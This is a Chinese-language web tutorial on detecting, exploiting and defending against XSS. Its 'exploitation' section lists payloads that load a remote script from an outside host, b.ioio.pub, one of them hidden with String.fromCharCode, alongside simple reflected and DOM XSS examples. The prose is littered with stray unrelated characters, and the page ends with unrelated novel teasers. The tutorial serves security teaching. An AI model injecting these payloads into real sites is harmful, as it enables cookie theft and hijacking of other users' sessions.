XSS漏洞挖掘與利用

XSS的檢測

檢測XSS一般分兩種方法:一種是手工檢測性昭、一種是軟件自動檢測
手工檢測:檢測結(jié)果準(zhǔn)確,但對于大型web來說費時費力
軟件檢測:方便省力,但存在誤報,且有寫隱蔽的XSS無法檢測出
檢測XSS最重要的就是考慮哪里有輸入撬腾,輸入的數(shù)據(jù)在哪里輸出

1. 手工檢測

可得知輸出位置:
    ? 輸入敏感字符,如“<恢恼、>民傻、"、'、()”等漓踢,然后在提交后查看html源代碼创泄,看這些字符是否被轉(zhuǎn)義籍铁。
    ? 在輸出這些字符時,程序可能已經(jīng)進行了過濾撕予,可以輸入“AAAAAA<>"&'()”字符串酪碘,然后查找AAAAAA或許比較方便扣囊。
無法得知輸出位置:
    很多web應(yīng)用程序源碼不公開吉嫩,在測試時不能的值輸出位置其掂,比如,有些留言本在留言后必須經(jīng)過管理員審核才能顯示吴菠,無法的值數(shù)據(jù)在后臺管理頁面處于何種狀態(tài)者填,如:
    在標(biāo)簽中:<div>XSS Test</div>
    在屬性內(nèi):<input type="text" name="content" value="XSS Test" />
    這種情況通常采用輸入"/>XSS Test來測試浩村。

2. 全自動檢測XSS

如APPSCAN做葵、AWVS、Burp Suite等軟件都可以有效的檢測XSS心墅,他們還會檢測其他的漏洞酿矢,但是他們的效率不如專業(yè)的XSS檢測工具高。
專業(yè)的XSS掃描工具有知名的XSSER怎燥、XSSF等瘫筐,還有專門掃描DOM類型XSS的web服務(wù)(www.domxssscanner.com)。
一般要手工和軟件一起使用铐姚,因為有些XSS軟件不能檢測策肝,不如有些留言需要輸入驗證碼等,工具無法做到隐绵。

XSS的挖掘與利用

1. XSS漏洞挖掘

反射型XSS:
    一般是url參數(shù)中的值能夠回顯到HTML中之众,且url的參數(shù)值沒有過濾或過濾不嚴(yán)
存儲型XSS:
    可以提交內(nèi)容
    提交的內(nèi)容可被管理員或其他用戶看到
    提交的內(nèi)容沒有被過濾或過濾不嚴(yán)

2. XSS漏洞利用

XSS一般就是閉合標(biāo)簽,和SQL注入類似依许,常見payload如下:

? <script src='http://b.ioio.pub/xss/probe.js'></script>
? <img src=x onerror="s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js'";>
? <svg onload=s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js>
? <svg onload=eval(String.fromCharCode(115,61,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,98,46,105,111,105,111,46,112,117,98,47,120,115,115,47,112,114,111,98,101,46,106,115)) >

XSS簡單示例

反射型xss簡單示例:
    ? <?php
          echo $_GET['x'];
      ?>
    ? 提交:
      /xss.php?x=<script>alert(1)</script>
    ? 服務(wù)端解析時就會觸發(fā)彈窗
下面是一段經(jīng)典的DOM型XSS示例:
<script>
    var temp = document.URL; //獲取URL
    var index = document.URL.indexOf("content");
    var par = temp.substrint(index);
    document.write(decodeURL(par)); //輸入獲取內(nèi)容
</script>
上述代碼的意思是獲取URL中content參數(shù)的值棺禾,并且輸出,若輸入http://www.xxx.com/dom.html?content=<script>alert(/xss/)</script>峭跳,就會產(chǎn)生XSS漏洞膘婶。

只要在script標(biāo)簽中添加JavaScript代碼,就能實現(xiàn)一些“特殊效果”蛀醉,但通常在真實攻擊中一般使用<script src="http://www.xxx.com/a.txt"></script>的方式來加載外部腳本悬襟,a.txt中就存放這惡意腳本。
注:JavaScript加載的腳本文件可以是任意擴展名拯刁,甚至沒有也行脊岳,只要加載的文件中含有JavaScript代碼就會被執(zhí)行。

XSS的防御

1. 過濾輸入與輸出(重點)

使用hemlspecialchars()和hemlentities()將一些預(yù)定義的字符轉(zhuǎn)換為HTML實體

<?php
    @$html = $_GET['x'];
    if ($html){
        echo htmlspecialchars($html);
    }
?>

2. HttpOnly

HttpOnly并不能防御XSS,它是為了解決XSS漏洞后面的Cookie劫持攻擊逸绎,它可以有效地阻擋XSS會話劫持攻擊惹恃。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市棺牧,隨后出現(xiàn)的幾起案子巫糙,更是在濱河造成了極大的恐慌,老刑警劉巖颊乘,帶你破解...
    沈念sama閱讀 211,123評論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件参淹,死亡現(xiàn)場離奇詭異,居然都是意外死亡乏悄,警方通過查閱死者的電腦和手機浙值,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,031評論 2 384
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來檩小,“玉大人开呐,你說我怎么就攤上這事」媲螅” “怎么了筐付?”我有些...
    開封第一講書人閱讀 156,723評論 0 345
  • 文/不壞的土叔 我叫張陵,是天一觀的道長阻肿。 經(jīng)常有香客問我瓦戚,道長,這世上最難降的妖魔是什么丛塌? 我笑而不...
    開封第一講書人閱讀 56,357評論 1 283
  • 正文 為了忘掉前任较解,我火速辦了婚禮,結(jié)果婚禮上赴邻,老公的妹妹穿的比我還像新娘印衔。我一直安慰自己,他們只是感情好乍楚,可當(dāng)我...
    茶點故事閱讀 65,412評論 5 384
  • 文/花漫 我一把揭開白布当编。 她就那樣靜靜地躺著,像睡著了一般徒溪。 火紅的嫁衣襯著肌膚如雪忿偷。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,760評論 1 289
  • 那天臊泌,我揣著相機與錄音鲤桥,去河邊找鬼。 笑死渠概,一個胖子當(dāng)著我的面吹牛茶凳,可吹牛的內(nèi)容都是我干的嫂拴。 我是一名探鬼主播,決...
    沈念sama閱讀 38,904評論 3 405
  • 文/蒼蘭香墨 我猛地睜開眼贮喧,長吁一口氣:“原來是場噩夢啊……” “哼筒狠!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起箱沦,我...
    開封第一講書人閱讀 37,672評論 0 266
  • 序言:老撾萬榮一對情侶失蹤辩恼,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后谓形,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體灶伊,經(jīng)...
    沈念sama閱讀 44,118評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,456評論 2 325
  • 正文 我和宋清朗相戀三年寒跳,在試婚紗的時候發(fā)現(xiàn)自己被綠了聘萨。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,599評論 1 340
  • 序言:一個原本活蹦亂跳的男人離奇死亡童太,死狀恐怖米辐,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情康愤,我是刑警寧澤儡循,帶...
    沈念sama閱讀 34,264評論 4 328
  • 正文 年R本政府宣布,位于F島的核電站征冷,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏誓琼。R本人自食惡果不足惜检激,卻給世界環(huán)境...
    茶點故事閱讀 39,857評論 3 312
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望腹侣。 院中可真熱鬧叔收,春花似錦、人聲如沸傲隶。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,731評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽跺株。三九已至复濒,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間乒省,已是汗流浹背巧颈。 一陣腳步聲響...
    開封第一講書人閱讀 31,956評論 1 264
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留袖扛,地道東北人砸泛。 一個月前我還...
    沈念sama閱讀 46,286評論 2 360
  • 正文 我出身青樓十籍,卻偏偏與公主長得像,于是被迫代替她去往敵國和親唇礁。 傳聞我的和親對象是個殘疾皇子勾栗,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 43,465評論 2 348

推薦閱讀更多精彩內(nèi)容